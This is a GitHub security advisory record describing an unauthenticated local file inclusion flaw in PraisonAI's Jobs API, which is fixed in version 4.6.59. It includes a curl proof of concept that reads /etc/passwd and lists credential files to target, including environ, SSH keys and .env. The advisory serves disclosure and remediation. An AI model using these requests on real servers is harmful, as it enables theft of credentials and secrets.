{"id":"GHSA-p4pj-vh7h-6cqh","title":"PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API","summary":"PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API","severity":"high","cvss":7.5,"cwe":["CWE-22"],"vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.6.59"],"patched":["praisonai 4.6.59"],"published":"2026-06-18","updated":"2026-06-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-p4pj-vh7h-6cqh","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p4pj-vh7h-6cqh"},{"url":"https://github.com/advisories/GHSA-p4pj-vh7h-6cqh"}],"tags":["ghsa","pip"],"ingestedAt":"2026-06-29T14:31:46.968Z","slug":"GHSA-p4pj-vh7h-6cqh","body":"## Overview\n\n### Summary\nAn unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.\n\n### Details\nThe `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:\n\n```python\n# src/praisonai/praisonai/jobs/models.py:29\nagent_file: Optional[str] = Field(None, description=\"Path to agents.yaml file\")\n# NO path validator, NO allowlist\n```\n\nThe executor reads the file directly:\n\n```python\n# src/praisonai/praisonai/jobs/executor.py:221\nagent_file = job.agent_file or \"agents.yaml\"\n# passed directly to yaml.safe_load(open(agent_file))\n```\n\n### Proof of Concept\n\n```bash\ncurl -X POST http://:8005/api/v1/runs \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"prompt\": \"run\", \"agent_file\": \"/etc/passwd\"}'\n```\n\nServer responds with contents of `/etc/passwd`.\n\nOther exploitable paths:\n- `/proc/1/environ` — environment variables, API keys\n- `/home//.ssh/id_rsa` — SSH private keys\n- `/app/.env` — application secrets\n\n### Impact\nAny unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.\n\n## Affected packages\n\n- `praisonai < 4.6.59`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.6.59`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}